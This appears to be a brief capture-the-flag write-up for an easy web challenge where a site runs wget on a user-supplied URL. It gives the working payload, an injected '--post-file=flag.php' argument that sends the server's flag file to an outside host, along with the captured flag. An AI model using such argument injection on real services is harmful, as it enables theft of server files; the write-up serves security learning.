Some CTF writeups

Project maintained by Qyn-CTF

downloader-v1 (50pts, 123 solved) Web [Easy]

First look

When we open the website, we can enter an URL to download, when we follow the example (http://example.com/image.jpg), we get some shell output:

$ wget https://example.com/image.jpeg 2>&1


From the page source, we can see that we need to get the contents of flag.php. I just simply added to the original query --post-file=flag.php mysite.
So it becomes:

http://example.com/image.jpg --post-file=flag.php mysite

And after a second, we get our flag: DCTF{6789af26f90396678909a99bf46ba3a78b2f1b349fbc4385e6c50556c1d0c9ff}